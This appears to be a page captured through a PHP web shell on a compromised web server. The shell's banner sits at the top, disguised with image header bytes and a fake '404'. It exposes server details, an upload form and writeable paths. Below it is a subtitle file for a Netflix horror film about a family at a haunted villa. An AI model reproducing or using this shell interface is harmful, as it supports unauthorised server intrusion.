����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/vidoe.top/upload/subtitle/12-2018/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/vidoe.top/upload/subtitle/12-2018/5c1ce470cbcd0-1545397360.vtt
WEBVTT

1
00:00:19.060 --> 00:00:22.063
A NETFLIX ORIGINAL FILM

2
00:01:19.454 --> 00:01:20.663
Please come in.

3
00:01:53.279 --> 00:01:54.572
How about upstairs?

4
00:01:55.365 --> 00:01:57.742
It's clean and spacious.

5
00:01:58.284 --> 00:01:59.160
Come.

6
00:02:17.804 --> 00:02:18.930
That's just the cellar.

7
00:02:30.358 --> 00:02:31.442
This will do.

8
00:03:30.126 --> 00:03:31.753
Did you bring what I asked for?

9
00:05:22.697 --> 00:05:23.698
Shit!

10
00:05:24.198 --> 00:05:25.033
Shit!

11
00:05:25.533 --> 00:05:27.160
Superstitious nonsense!

12
00:05:28.161 --> 00:05:29.120
Shit!

13
00:06:20.171 --> 00:06:23.091
I believe now.

14
00:06:24.550 --> 00:06:26.636
I'm your servant.

15
00:07:16.769 --> 00:07:17.979
Remember, Lesmana.

16
00:07:19.730 --> 00:07:21.399
He has accepted your oath.

17
00:07:23.234 --> 00:07:24.152
Go home!

18
00:07:25.278 --> 00:07:27.697
There's more wealth waiting for you.

19
00:07:59.854 --> 00:08:02.273
LESMANA WIJAYA
PORTRAIT OF AN OVERNIGHT SUCCESS

20
00:08:04.775 --> 00:08:07.612
LESMANA PURCHASES MULTIPLE PROPERTIES

21
00:08:08.905 --> 00:08:12.116
LESMANA WIJAYA
THE NEWEST PROPERTY ENTREPRENEUR

22
00:08:15.661 --> 00:08:17.663
YOUNG ENTERPRENEUR LESMANA:
KEY TO INVESTMENT SUCCESS

23
00:08:18.039 --> 00:08:19.749
LESMANA: OVERNIGHT SUCCESS,
PLANNING EARLY ON

24
00:08:25.171 --> 00:08:28.716
FIRST WIFE OF BUSINESSMAN LESMANA
FOUND DEAD

25
00:08:29.300 --> 00:08:31.511
A WIFE'S DEATH

26
00:08:33.513 --> 00:08:35.848
INTAN, WIFE OF BUSINESSMAN LESMANA,
COMMITS SUICIDE

27
00:08:38.684 --> 00:08:41.312
FORMER ACTRESS LAKSMI SURYA
MARRIES SUCCESSFUL BUSINESSMAN

28
00:08:49.195 --> 00:08:52.406
LESMANA MARRIES A FORMER ACTRESS,
MARRIAGE BLESSED WITH A DAUGHTER

29
00:08:54.992 --> 00:08:59.372
SORRY

30
00:09:10.508 --> 00:09:12.927
LESMANA'S BUSINESS STARTS TO DECLINE

31
00:09:13.970 --> 00:09:16.973
HITTING SUDDEN BANKRUPTCY,
LESMANA CORPORATION TO SELL ASSETS

32
00:10:04.228 --> 00:10:05.229
Excuse me.

33
00:10:58.324 --> 00:10:59.408
Yes, it's Alfie.

34
00:11:03.454 --> 00:11:04.330
Hospital?

35
00:11:11.629 --> 00:11:14.048
24 HOURS

36
00:12:17.528 --> 00:12:18.487
Alfie?

37
00:12:25.327 --> 00:12:26.203
Alfie.

38
00:12:31.000 --> 00:12:32.293
They called you, too?

39
00:12:33.294 --> 00:12:35.004
-He's there, isn't he?
-Alfie.

40
00:12:36.130 --> 00:12:37.465
Don't be emotional.

41
00:12:38.090 --> 00:12:40.217
We need to fix things eventually, right?

42
00:12:44.680 --> 00:12:46.307
After everything that has happened,

43
00:12:48.601 --> 00:12:50.436
I never thought of you as an enemy.

44
00:13:01.363 --> 00:13:02.656
Relationship with patient?

45
00:13:02.740 --> 00:13:04.992
We are his children.
She's his biological daughter.

46
00:13:05.618 --> 00:13:08.078
Mr. Lesmana is unresponsive,
but you may speak to him.

47
00:13:08.162 --> 00:13:11.290
Being around familiar people
might help his motoric response.

48
00:13:12.958 --> 00:13:14.210
What's wrong with him?

49
00:13:14.293 --> 00:13:15.419
We have no clue yet.

50
00:13:15.503 --> 00:13:18.714
He's showing stroke symptoms,
skin disease,

51
00:13:19.798 --> 00:13:22.009
and failing organs.

52
00:13:22.968 --> 00:13:24.512
Mrs. Laksmi isn't with you?

53
00:13:24.595 --> 00:13:26.263
Yes. Our mom's not coming.

54
00:13:26.347 --> 00:13:27.765
How come?

55
00:13:27.848 --> 00:13:29.391
She just doesn't want to.

56
00:13:31.310 --> 00:13:33.062
Very well, miss. Excuse me.

57
00:14:00.923 --> 00:14:02.466
It's been ten years, right?

58
00:14:03.384 --> 00:14:05.219
Since you last saw Dad?

59
00:14:07.137 --> 00:14:09.306
A year ago, he started visiting his villa.

60
00:14:10.558 --> 00:14:11.684
Back and forth.

61
00:14:12.893 --> 00:14:14.144
Isolating himself.

62
00:14:14.228 --> 00:14:16.146
Not long after his bankruptcy, right?

63
00:14:16.605 --> 00:14:19.692
Alfie, this isn't easy for us.

64
00:14:21.026 --> 00:14:24.029
Your issues with Dad
has nothing to do with me or Ruben.

65
00:14:26.448 --> 00:14:28.868
No one wants to be alone
in this condition.

66
00:14:30.911 --> 00:14:33.372
Ruben. Take Lily out.

67
00:14:33.455 --> 00:14:35.207
We don't need her to start puking.

68
00:14:45.175 --> 00:14:48.888
Mom plans to find any remaining assets
over at the villa.

69
00:14:53.851 --> 00:14:54.894
Assets?

70
00:14:55.728 --> 00:14:57.021
Have you visited that place?

71
00:15:04.028 --> 00:15:06.030
The villa's ownership is under your name.

72
00:15:19.877 --> 00:15:21.295
It's up to you, guys.

73
00:15:23.339 --> 00:15:24.256
All right.

74
00:15:25.090 --> 00:15:26.800
I'm going to call my mom.

75
00:15:47.404 --> 00:15:50.491
I thought I'd feel satisfied
seeing you suffer like this.

76
00:16:01.210 --> 00:16:03.379
You left us both.

77
00:16:06.465 --> 00:16:10.594
Meanwhile, you were successful
and married that damn woman.

78
00:16:14.223 --> 00:16:16.058
I should be really hating you right now.

79
00:16:21.772 --> 00:16:23.023
But look at you now.

80
00:16:25.150 --> 00:16:27.069
What is there to hate?

81
00:16:29.196 --> 00:16:31.073
What is there left to hate, Dad?

82
00:18:43.247 --> 00:18:45.541
Alfie!

83
00:18:50.462 --> 00:18:51.296
Alfie?

84
00:18:59.012 --> 00:18:59.847
Ruben!

85
00:19:00.264 --> 00:19:01.140
Lily.

86
00:19:01.390 --> 00:19:02.224
Lily!

87
00:19:02.307 --> 00:19:04.101
-Lily!
-Let me go!

88
00:19:54.860 --> 00:19:56.111
Alfie.

89
00:19:56.778 --> 00:19:58.280
It's been a while.

90
00:20:07.789 --> 00:20:09.041
Be strong, child.

91
00:26:47.731 --> 00:26:49.607
Goodness, what a mess.

92
00:26:50.775 --> 00:26:52.902
How are we going to sell this
with a high price?

93
00:26:53.361 --> 00:26:55.363
How long are we staying here, Mom?

94
00:26:57.032 --> 00:26:57.949
Nara.

95
00:26:58.700 --> 00:27:01.536
Ruben dear, where's your little sister?

96
00:27:01.661 --> 00:27:04.372
Find her. Don't let her wander alone.

97
00:27:05.415 --> 00:27:06.416
Nara.

98
00:27:06.875 --> 00:27:09.127
-If there's nothing valuable here,
-Nara.

99
00:27:09.919 --> 00:27:12.047
we'll head back to Jakarta tonight.
Okay, dear?

100
00:27:12.130 --> 00:27:13.048
Yes, Mom.

101
00:27:13.131 --> 00:27:13.965
Nara?

102
00:27:15.800 --> 00:27:16.634
Nara?

103
00:27:17.302 --> 00:27:20.388
Better sell fast before this dump
becomes a dead asset.

104
00:27:21.014 --> 00:27:23.933
Who will buy this old dump, Mom?
It's very antique.

105
00:27:24.726 --> 00:27:27.270
Besides, you should be asking Alfie.

106
00:27:42.827 --> 00:27:43.745
Nara.

107
00:27:44.329 --> 00:27:45.246
Sit down.

108
00:27:46.873 --> 00:27:48.041
Don't be naughty.

109
00:27:56.508 --> 00:27:57.634
Alfie.

110
00:28:00.345 --> 00:28:01.930
What an unusual visit.

111
00:28:02.013 --> 00:28:03.473
I'm just looking around.

112
00:28:06.851 --> 00:28:08.228
Well, you know,

113
00:28:09.687 --> 00:28:12.107
your father is really sick.

114
00:28:13.191 --> 00:28:15.402
Obviously, the medical bills...

115
00:28:15.485 --> 00:28:17.278
Are not cheap.

116
00:28:20.156 --> 00:28:21.157
I know.

117
00:28:23.368 --> 00:28:26.204
Has the hospital explained his condition?

118
00:28:33.169 --> 00:28:34.546
Whatever it is,

119
00:28:35.755 --> 00:28:39.843
let's just pray that God will protect him

120
00:28:40.385 --> 00:28:42.303
and enlighten his path.

121
00:28:43.430 --> 00:28:45.265
So you're selling this house, yeah?

122
00:28:48.184 --> 00:28:49.936
Don't you guys have savings?

123
00:28:52.147 --> 00:28:55.233
Alfie, you seem tired.
Why don't you rest a bit?

124
00:28:59.529 --> 00:29:00.947
It must be hard for him.

125
00:29:01.614 --> 00:29:04.367
Rich, but still not enough
to provide for an actress.

126
00:29:08.997 --> 00:29:11.499
I meant a former actress.

127
00:29:12.917 --> 00:29:14.127
Watch your mouth.

128
00:29:15.170 --> 00:29:16.838
Who do you think you're talking to?

129
00:29:20.133 --> 00:29:21.050
Who?

130
00:29:22.051 --> 00:29:22.927
Her?

131
00:29:23.261 --> 00:29:24.679
She's not my mother.

132
00:29:24.763 --> 00:29:27.223
My mom was with Lesmana
even when he had nothing.

133
00:29:28.349 --> 00:29:30.059
-My mom was faithful.
-Alfie.

134
00:29:33.438 --> 00:29:34.355
Funny, isn't it?

135
00:29:35.482 --> 00:29:37.609
All that, and she was still betrayed.

136
00:29:38.193 --> 00:29:39.819
For who? For...

137
00:29:41.112 --> 00:29:41.946
For you!

138
00:29:42.614 --> 00:29:43.531
-Mom!
-You little demon!

139
00:29:56.419 --> 00:29:57.670
What's wrong with you?

140
00:29:58.505 --> 00:29:59.839
Can you just chill?

141
00:30:00.423 --> 00:30:01.841
I'm going nuts here.

142
00:30:02.133 --> 00:30:03.301
Sit down, Ruben.

143
00:30:03.384 --> 00:30:04.260
Sit!

144
00:30:10.266 --> 00:30:13.686
All of you, get ready
to find any documents,

145
00:30:13.770 --> 00:30:16.105
anything we can take back with us.

146
00:30:32.497 --> 00:30:33.498
It's me, Ruben.

147
00:30:39.462 --> 00:30:40.547
Come in.

148
00:30:51.516 --> 00:30:52.600
Eat, Alfie.

149
00:30:53.768 --> 00:30:55.019
You haven't eaten, right?

150
00:31:00.441 --> 00:31:01.734
I didn't poison it.

151
00:31:03.194 --> 00:31:04.821
Isn't that your sister's snack?

152
00:31:05.405 --> 00:31:07.532
Yes, I made Nara's snack.

153
00:31:08.032 --> 00:31:09.742
I'm the only cook in the family.

154
00:31:15.540 --> 00:31:18.293
See? Your stomach can't lie.

155
00:31:22.547 --> 00:31:24.799
Well, let me dig in.

156
00:31:25.758 --> 00:31:27.010
I'm starving.

157
00:31:44.652 --> 00:31:46.154
You're kind of dorky, aren't you?

158
00:31:48.573 --> 00:31:49.574
Is it my hair?

159
00:31:50.658 --> 00:31:52.493
I haven't showered all day.

160
00:31:52.994 --> 00:31:54.579
I was the one who drove here, too.

161
00:31:55.079 --> 00:31:56.539
That's not what I meant.

162
00:31:57.999 --> 00:31:58.958
Your personality.

163
00:32:00.501 --> 00:32:01.878
You act like a dork.

164
00:32:03.630 --> 00:32:04.631
I see.

165
00:32:05.089 --> 00:32:06.591
You meant funny, right?

166
00:32:07.926 --> 00:32:09.969
Funny stepbrothers do exist.

167
00:32:11.054 --> 00:32:14.265
Actually, they are funny.
Have you heard of evil stepbrothers?

168
00:32:16.059 --> 00:32:17.143
So lame.

169
00:32:20.480 --> 00:32:21.731
I'm always wrong.

170
00:32:24.901 --> 00:32:27.654
You're better than them, though.

171
00:32:28.863 --> 00:32:30.406
Well, that's my mom.

172
00:32:34.994 --> 00:32:36.829
Maya isn't usually cynical like that.

173
00:32:37.622 --> 00:32:38.623
But...

174
00:32:40.541 --> 00:32:43.336
since we've had money troubles,
she has become...

175
00:32:43.920 --> 00:32:46.130
insecure and fearful.

176
00:32:48.466 --> 00:32:49.592
That's how she is.

177
00:32:50.510 --> 00:32:51.844
Please cut her some slack.

178
00:32:56.933 --> 00:32:58.601
Maya is right, though.

179
00:33:01.187 --> 00:33:03.398
I really want us to get along.

180
00:33:03.898 --> 00:33:05.108
Have a good relationship.

181
00:33:15.618 --> 00:33:16.703
Ruben.

182
00:33:17.620 --> 00:33:18.663
Ruben.

183
00:33:20.039 --> 00:33:21.124
Ruben.

184
00:33:25.503 --> 00:33:26.421
Eat up.

185
00:33:56.159 --> 00:33:57.076
Go on.

186
00:34:01.748 --> 00:34:02.665
What's up?

187
00:34:03.249 --> 00:34:04.751
What is she up to?

188
00:34:04.834 --> 00:34:05.835
Crying?

189
00:34:05.918 --> 00:34:07.003
Oh, please.

190
00:34:11.382 --> 00:34:12.341
Take this.

191
00:34:12.884 --> 00:34:13.926
What's this for?

192
00:34:15.136 --> 00:34:16.929
That door there is closed shut.

193
00:34:17.472 --> 00:34:19.390
Try pulling out those nails.

194
00:34:20.808 --> 00:34:22.435
Why me?

195
00:34:23.519 --> 00:34:25.313
You’re the strongest here.

196
00:34:26.814 --> 00:34:28.191
Here, go straight to it.

197
00:35:16.489 --> 00:35:17.323
Maya?

198
00:35:32.588 --> 00:35:33.506
All good now?

199
00:37:36.879 --> 00:37:38.381
24 HOURS

200
00:39:57.019 --> 00:39:58.020
What is this?

201
00:40:01.023 --> 00:40:03.192
Ruben, go check it out.

202
00:40:04.568 --> 00:40:05.736
Go on.

203
00:40:06.904 --> 00:40:08.531
I think we should check it tomorrow.

204
00:40:09.532 --> 00:40:12.284
Ruben, we're going home tonight.

205
00:40:12.368 --> 00:40:13.452
Go check downstairs.

206
00:40:13.536 --> 00:40:15.830
There may be a safe-deposit box
or other valuables.

207
00:40:16.080 --> 00:40:17.123
Now.

208
00:40:17.206 --> 00:40:18.207
Go on, Ruben.

209
00:40:18.582 --> 00:40:19.667
-Go on.
-Okay.

210
00:40:24.922 --> 00:40:26.715
Ruben, don't do it!

211
00:40:28.592 --> 00:40:30.344
Something's wrong with this place.

212
00:40:30.636 --> 00:40:32.138
There's something upstairs!

213
00:40:33.597 --> 00:40:34.890
You again.

214
00:40:35.599 --> 00:40:37.726
-If you don't want to help, then--
-Listen!

215
00:40:38.853 --> 00:40:42.106
There's something upstairs,
pictures we need to investigate.

216
00:40:42.648 --> 00:40:43.774
-Mom.
-Something?

217
00:40:43.858 --> 00:40:46.318
What pictures? You're still lying.

218
00:40:46.402 --> 00:40:48.028
-You damn orphan!
-Mom!

219
00:40:48.112 --> 00:40:49.321
What did you say?

220
00:40:49.405 --> 00:40:52.158
Ruben, don't stick your nose
where it doesn't belong!

221
00:40:52.241 --> 00:40:54.118
-Mom.
-Even your father abandoned you.

222
00:40:54.201 --> 00:40:55.536
-Mom.
-You're all alone now!

223
00:40:55.619 --> 00:40:56.662
Ungrateful brat!

224
00:40:56.745 --> 00:40:57.705
Mom, enough.

225
00:40:57.788 --> 00:40:59.957
-Mom.
-I really am tired with this brat.

226
00:41:00.040 --> 00:41:02.376
-Mom!
-You should defend your mom.

227
00:41:02.460 --> 00:41:03.294
What?

228
00:41:17.850 --> 00:41:19.602
-Mom!
-Mom!

229
00:41:29.069 --> 00:41:30.154
Mom!

230
00:41:31.030 --> 00:41:32.948
-Ruben!
-Help!

231
00:41:33.032 --> 00:41:34.867
Ruben!

232
00:41:38.537 --> 00:41:40.039
Give me a hand!

233
00:41:51.425 --> 00:41:52.676
Help me!

234
00:41:58.807 --> 00:41:59.725
Mom!

235
00:42:03.103 --> 00:42:04.522
-Mom!
-Mom!

236
00:42:04.605 --> 00:42:06.148
-Maya!
-Maya, don't!

237
00:42:06.232 --> 00:42:07.691
-Fuck off!
-Maya!

238
00:42:07.775 --> 00:42:09.193
-Ruben, Mom...
-Maya!

239
00:42:09.276 --> 00:42:10.736
We don't know what's down there!

240
00:42:10.819 --> 00:42:12.404
Ruben! It's Mom!

241
00:42:13.197 --> 00:42:14.240
Mom!

242
00:42:18.369 --> 00:42:20.371
Mom!

243
00:42:21.205 --> 00:42:22.122
Mom!

244
00:42:23.582 --> 00:42:24.917
Ruben, what should we do?

245
00:42:37.888 --> 00:42:38.806
Ruben.

246
00:42:59.952 --> 00:43:00.869
Mom...

247
00:43:08.586 --> 00:43:10.212
Ruben, step back.

248
00:43:18.178 --> 00:43:19.263
Mom?

249
00:45:20.717 --> 00:45:26.807
Fortune shall be paid with souls.

250
00:45:43.991 --> 00:45:44.908
Mom!

251
00:45:45.451 --> 00:45:46.452
Maya!

252
00:46:59.775 --> 00:47:01.693
This will have to do for now.

253
00:47:10.327 --> 00:47:11.328
What is that, Nara?

254
00:47:13.497 --> 00:47:15.415
It was outside--

255
00:47:15.499 --> 00:47:16.667
Throw it away, Nara!

256
00:47:17.251 --> 00:47:18.335
It's filthy!

257
00:47:28.095 --> 00:47:29.304
Give me the doll.

258
00:47:31.014 --> 00:47:31.932
Alfie.

259
00:47:32.808 --> 00:47:33.725
Come with me.

260
00:48:12.556 --> 00:48:14.391
We're stuck here.

261
00:48:15.142 --> 00:48:17.144
What is wrong with my mom?

262
00:48:30.824 --> 00:48:31.742
Ruben!

263
00:48:39.458 --> 00:48:40.751
Your phone's dead, right?

264
00:48:45.213 --> 00:48:48.091
Try calling the police, local district,
or anyone who could help us.

265
00:48:48.967 --> 00:48:50.135
You sure about this?

266
00:48:51.178 --> 00:48:52.763
Your sister's not well.

267
00:48:54.431 --> 00:48:56.266
That wound could be infected.

268
00:48:58.143 --> 00:49:00.771
There's a village down the path.

269
00:49:01.647 --> 00:49:02.856
She can be treated there.

270
00:49:04.566 --> 00:49:07.736
In this situation,
it's safer for all of us to go.

271
00:49:08.737 --> 00:49:10.238
What about Nara?

272
00:49:11.990 --> 00:49:12.866
Ruben.

273
00:49:13.367 --> 00:49:15.952
Remember who's lurking out there.

274
00:49:24.836 --> 00:49:25.879
Just in case.

275
00:49:27.005 --> 00:49:28.298
You're the tough one.

276
00:49:28.924 --> 00:49:31.677
But please, don't act rashly.

277
00:49:52.280 --> 00:49:53.156
Alfie.

278
00:49:55.784 --> 00:49:56.702
Alfie.

279
00:49:59.413 --> 00:50:00.497
What is it?

280
00:50:04.042 --> 00:50:05.669
You hate me, don't you?

281
00:50:09.381 --> 00:50:11.091
I don't hate you, Maya.

282
00:50:13.009 --> 00:50:15.011
I don’t want you to hate me.

283
00:50:17.180 --> 00:50:19.516
My life isn't exactly a joyride.

284
00:50:21.226 --> 00:50:23.228
I'm not even close to your father.

285
00:50:25.522 --> 00:50:26.940
And my mom...

286
00:50:28.358 --> 00:50:31.528
Yeah, she isn't exactly a good mother.

287
00:50:33.780 --> 00:50:36.241
Now, she's possessed.

288
00:50:38.285 --> 00:50:41.663
Maya, we have to keep on moving. Come on.

289
00:50:42.289 --> 00:50:43.248
Maya!

290
00:50:47.544 --> 00:50:48.545
What's that?

291
00:51:02.768 --> 00:51:03.643
Mom!

292
00:51:03.727 --> 00:51:05.228
Mom!

293
00:52:28.019 --> 00:52:29.145
What is this?

294
00:52:31.648 --> 00:52:33.149
Maya, that's...

295
00:52:33.650 --> 00:52:34.693
Maya.

296
00:52:35.986 --> 00:52:39.155
Alfie, have you been stalking us?

297
00:52:40.115 --> 00:52:41.908
No, Maya, not at all!

298
00:52:42.409 --> 00:52:44.286
Why did you bring me here?

299
00:52:44.369 --> 00:52:46.079
Maya, you need to be treated.

300
00:52:47.789 --> 00:52:48.915
Why, Alfie?

301
00:52:49.499 --> 00:52:51.668
Please hear me out, Maya!

302
00:52:56.464 --> 00:52:57.382
Maya!

303
00:53:01.970 --> 00:53:02.846
Maya!

304
00:53:14.149 --> 00:53:15.025
Maya.

305
00:53:16.902 --> 00:53:18.236
Maya!

306
00:53:26.953 --> 00:53:28.705
Maya!

307
00:53:37.047 --> 00:53:38.965
Police...

308
00:53:40.342 --> 00:53:41.426
Police hotline...

309
00:54:07.118 --> 00:54:10.163
Honey, where are you?
Why didn't you tell me?

310
00:54:10.246 --> 00:54:13.249
You promised to be with me.
I'm still upset

311
00:54:13.333 --> 00:54:15.168
-your father puked on me.
-Honey, I...

312
00:54:15.251 --> 00:54:17.837
What? If you really want to be with me,

313
00:54:17.921 --> 00:54:21.216
-you should be more mature.
-Honey, please listen to me.

314
00:54:21.299 --> 00:54:22.968
Your mother hates me, Ben.

315
00:54:23.051 --> 00:54:25.887
So does Maya.

316
00:54:26.513 --> 00:54:27.973
-You really are--
-My mom's possessed!

317
00:54:28.056 --> 00:54:30.433
What? How come?

318
00:54:30.809 --> 00:54:33.353
-No, I mean...
-What?

319
00:54:33.436 --> 00:54:34.980
-My head hurts.
-Honey, be serious!

320
00:54:35.063 --> 00:54:36.856
-I really want you here.
-Don't talk like that!

321
00:54:36.940 --> 00:54:38.483
Please come here. I'm really tired.

322
00:54:38.566 --> 00:54:41.778
Let's leave together.
I'll send you my location, okay?

323
00:54:42.237 --> 00:54:45.532
Where are you now? I'm going there.
Send your loc--

324
00:55:03.800 --> 00:55:04.634
Brother.

325
00:55:07.220 --> 00:55:11.599
I saw the person who took Mom.

326
00:55:14.269 --> 00:55:15.186
Where?

327
00:55:16.062 --> 00:55:18.690
In that scary room.

328
00:55:23.945 --> 00:55:25.447
We're safe in this room.

329
00:55:37.042 --> 00:55:37.917
Ruben.

330
00:56:08.448 --> 00:56:09.866
How did you turn into this?

331
00:56:24.172 --> 00:56:26.716
I needed to hold on to something.

332
00:56:31.012 --> 00:56:33.431
Even if it reminded me
of everything I hate.

333
00:56:36.017 --> 00:56:38.103
But that's all I have, Ruben.

334
00:56:38.895 --> 00:56:40.146
That's it.

335
00:56:42.273 --> 00:56:43.608
So you hate me?

336
00:56:44.901 --> 00:56:45.860
Maya?

337
00:56:48.696 --> 00:56:49.614
Nara?

338
00:56:57.872 --> 00:57:00.291
The person I hate the most is myself.

339
00:57:01.000 --> 00:57:04.087
In this world, I hate myself the most.

340
00:57:06.923 --> 00:57:08.091
Then how about Maya?

341
00:57:10.468 --> 00:57:12.178
Do we just leave her out there?

342
00:57:31.156 --> 00:57:34.159
Ruben, look at me.

343
00:57:41.416 --> 00:57:44.169
As soon the sun rises,
we'll look for Maya.

344
00:57:45.420 --> 00:57:47.005
We will not leave her.

345
00:57:48.506 --> 00:57:49.757
Trust me.

346
00:57:56.055 --> 00:57:57.307
Now what?

347
00:57:58.850 --> 00:58:01.060
There's something
you need to see downstairs.

348
00:58:15.033 --> 00:58:21.873
SORRY

349
00:58:35.345 --> 00:58:37.138
Turns out Lesmana is not a good person.

350
00:58:47.106 --> 00:58:49.609
I saw this woman at the hospital, Ruben.

351
00:59:07.460 --> 00:59:10.672
He stuck these symbols on that door
leading to downstairs.

352
00:59:13.049 --> 00:59:14.300
Is it possible...

353
00:59:15.802 --> 00:59:17.720
he was trying to keep something there?

354
00:59:41.536 --> 00:59:42.453
Ruben.

355
00:59:49.335 --> 00:59:51.588
"Dark priestesses.

356
00:59:51.671 --> 00:59:57.176
Usually, these women
have dedicated themselves

357
00:59:57.260 --> 01:00:00.805
to be the concubines of the Devil...

358
01:00:03.850 --> 01:00:05.143
until doomsday comes.

359
01:00:05.226 --> 01:00:11.107
Therefore, they are given the power
to do supernatural things."

360
01:00:17.572 --> 01:00:19.782
Why would Lesmana mess around
with this stuff?

361
01:00:24.662 --> 01:00:25.747
Think of it.

362
01:00:27.373 --> 01:00:28.499
Lesmana.

363
01:00:29.667 --> 01:00:31.461
All of a sudden, he became rich.

364
01:00:33.296 --> 01:00:37.425
Then he went bankrupt a few years later.

365
01:00:38.426 --> 01:00:40.345
Then he started coming back here.

366
01:00:44.432 --> 01:00:46.351
What does it have to do with your mom?

367
01:00:47.644 --> 01:00:49.646
And now my mom's also in deep shit.

368
01:00:51.814 --> 01:00:55.443
Alfie, what if that woman is still lurking
in the basement?

369
01:00:56.903 --> 01:00:58.655
Alfie. Alfie?

370
01:00:59.656 --> 01:01:01.157
Alfie.

371
01:01:49.122 --> 01:01:50.039
Mom!

372
01:01:50.873 --> 01:01:51.791
Mom!

373
01:02:03.678 --> 01:02:05.304
Mom!

374
01:02:37.295 --> 01:02:38.296
Mom?

375
01:03:55.122 --> 01:03:56.290
Nara.

376
01:03:58.042 --> 01:03:59.502
Nara.

377
01:04:01.462 --> 01:04:03.130
Are you sleeping?

378
01:04:05.633 --> 01:04:08.094
Please accompany me, Nara.

379
01:04:09.512 --> 01:04:12.473
I really love you.

380
01:04:14.642 --> 01:04:17.353
I'm lonely, Nara.

381
01:04:18.688 --> 01:04:20.398
It's dark in here.

382
01:04:21.315 --> 01:04:23.317
I'm scared.

383
01:04:28.531 --> 01:04:30.241
You damned demon!

384
01:06:26.899 --> 01:06:31.153
Come here, Nara. You should wake up.

385
01:06:31.779 --> 01:06:35.992
Wake up and stay with me!

386
01:06:36.450 --> 01:06:38.786
Wake up!

387
01:06:39.203 --> 01:06:43.290
I'm alone here! Accompany me!

388
01:06:43.374 --> 01:06:44.959
Come on!

389
01:06:45.042 --> 01:06:47.628
You're not my mom!

390
01:07:25.541 --> 01:07:26.500
Nara!

391
01:07:40.264 --> 01:07:41.390
Ruben!

392
01:08:34.777 --> 01:08:35.861
Alfie.

393
01:08:36.946 --> 01:08:37.905
Sweetheart.

394
01:08:42.910 --> 01:08:43.786
Hold on, dear.

395
01:08:44.870 --> 01:08:46.539
Mom will be right back.

396
01:09:07.560 --> 01:09:08.477
Mom!

397
01:09:09.061 --> 01:09:10.020
Mom!

398
01:09:10.813 --> 01:09:11.939
Mom!

399
01:09:13.649 --> 01:09:14.608
Mom!

400
01:09:15.401 --> 01:09:16.569
Let go!

401
01:09:17.486 --> 01:09:18.737
Mom!

402
01:09:27.037 --> 01:09:27.913
Mom!

403
01:09:56.233 --> 01:09:59.612
Hi, it's Ruben.
I can't talk right now. Leave a message.

404
01:10:06.243 --> 01:10:07.161
Maya?

405
01:10:08.871 --> 01:10:09.997
What happened to you?

406
01:10:10.706 --> 01:10:12.208
What are you doing here?

407
01:10:13.792 --> 01:10:15.377
Just helping out.

408
01:10:15.461 --> 01:10:17.713
You want to meet Ruben, right?

409
01:10:22.301 --> 01:10:24.136
Yes, he told me to come.

410
01:10:26.722 --> 01:10:27.932
What did he say?

411
01:10:31.143 --> 01:10:32.311
Open the door.

412
01:10:49.620 --> 01:10:51.205
You can go first, Maya.

413
01:10:52.456 --> 01:10:53.540
I'll be behind you.

414
01:10:56.043 --> 01:10:59.380
Let's go together. It's not that far.

415
01:11:03.425 --> 01:11:04.343
Maya.

416
01:11:06.845 --> 01:11:08.347
Why are you holding a hammer?

417
01:11:14.395 --> 01:11:15.980
I'll just stay here.

418
01:11:19.775 --> 01:11:21.026
What did you say?

419
01:11:24.571 --> 01:11:25.739
Unlock the door, Lily.

420
01:11:26.615 --> 01:11:28.033
If you don't believe me,

421
01:11:29.201 --> 01:11:31.203
talk to Ruben.

422
01:11:31.954 --> 01:11:32.788
Here.

423
01:12:34.391 --> 01:12:35.225
Nara.

424
01:14:50.444 --> 01:14:51.570
Maya.

425
01:15:00.704 --> 01:15:01.997
Maya.

426
01:15:05.167 --> 01:15:06.293
Who are you?

427
01:15:08.545 --> 01:15:10.881
I'm your mother.

428
01:15:12.925 --> 01:15:13.926
Mom?

429
01:15:16.011 --> 01:15:17.971
Mom, forgive me.

430
01:15:18.722 --> 01:15:19.932
My child.

431
01:15:20.599 --> 01:15:23.185
I'm inside her now.

432
01:15:23.685 --> 01:15:25.646
I didn't mean to.

433
01:15:26.897 --> 01:15:29.733
This is not my fault, Mom.

434
01:15:30.609 --> 01:15:33.737
-Your brother and sister chose me, Maya.
-Your brother and sister chose me, Maya.

435
01:15:36.949 --> 01:15:38.325
-Maya.
-Maya.

436
01:15:39.910 --> 01:15:41.995
-You're scared, aren't you?
-You're scared, aren't you?

437
01:15:46.250 --> 01:15:47.834
It's all her fault.

438
01:15:50.087 --> 01:15:51.630
It's your fault!

439
01:15:52.589 --> 01:15:55.133
You're tearing my family apart on purpose.

440
01:15:57.177 --> 01:15:58.762
It's all your fucking fault!

441
01:16:00.055 --> 01:16:01.473
Maya.

442
01:16:02.683 --> 01:16:05.310
-Would you like to be my follower?
-Would you like to be my follower?

443
01:16:08.063 --> 01:16:10.607
Be my lambkin.

444
01:16:12.067 --> 01:16:15.362
Kneel before me.

445
01:17:37.653 --> 01:17:39.321
I know this isn't real.

446
01:17:45.744 --> 01:17:47.537
But you need to know, Mom...

447
01:17:49.706 --> 01:17:52.334
I want to be with you again.

448
01:18:06.014 --> 01:18:08.058
Stay with me, Alfie.

449
01:18:09.059 --> 01:18:10.811
It's so dark in here.

450
01:18:12.771 --> 01:18:16.566
I'm so alone and scared.

451
01:18:27.452 --> 01:18:28.995
It should've been you.

452
01:18:30.122 --> 01:18:32.624
You should've been taken, Alfie.

453
01:18:42.801 --> 01:18:45.262
Are you letting me go again, Alfie?

454
01:18:47.597 --> 01:18:49.307
You want to be like your daddy?

455
01:18:58.442 --> 01:19:00.110
Don't you get it?

456
01:19:10.829 --> 01:19:13.123
I'm lonely!

457
01:19:13.206 --> 01:19:14.708
You're not my mom!

458
01:19:35.228 --> 01:19:36.146
Alfie.

459
01:19:36.980 --> 01:19:39.900
Alfie, what's wrong?

460
01:19:40.609 --> 01:19:41.485
Alfie.

461
01:19:42.611 --> 01:19:43.612
Calm down.

462
01:19:50.827 --> 01:19:51.661
Why?

463
01:19:51.745 --> 01:19:53.580
I like this dress.

464
01:19:55.874 --> 01:19:58.919
I found it upstairs. It suits me, right?

465
